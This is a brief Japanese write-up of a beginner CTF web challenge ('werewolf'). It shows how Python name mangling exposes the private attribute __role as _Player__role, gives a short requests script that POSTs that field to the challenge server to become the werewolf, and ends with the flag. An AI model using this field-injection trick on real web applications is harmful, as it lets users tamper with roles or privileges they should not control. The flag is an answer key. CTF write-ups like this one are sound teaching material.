アンダースコアが2つついた変数__roleの値をWEREWOLFに変えればよい。
class Playerのメンバ変数__roleは_Player__roleとアンダースコア+クラス名でアクセスできます。
あとはPOSTするだけ。
import requests
target = "https://werewolf.quals.beginners.seccon.jp/"
data = {"name":"HERO", "_Player__role": "WEREWOLF"}
resp = requests.post(target,data = data)
print(resp.text)
ctf4b{there_are_so_many_hackers_among_us}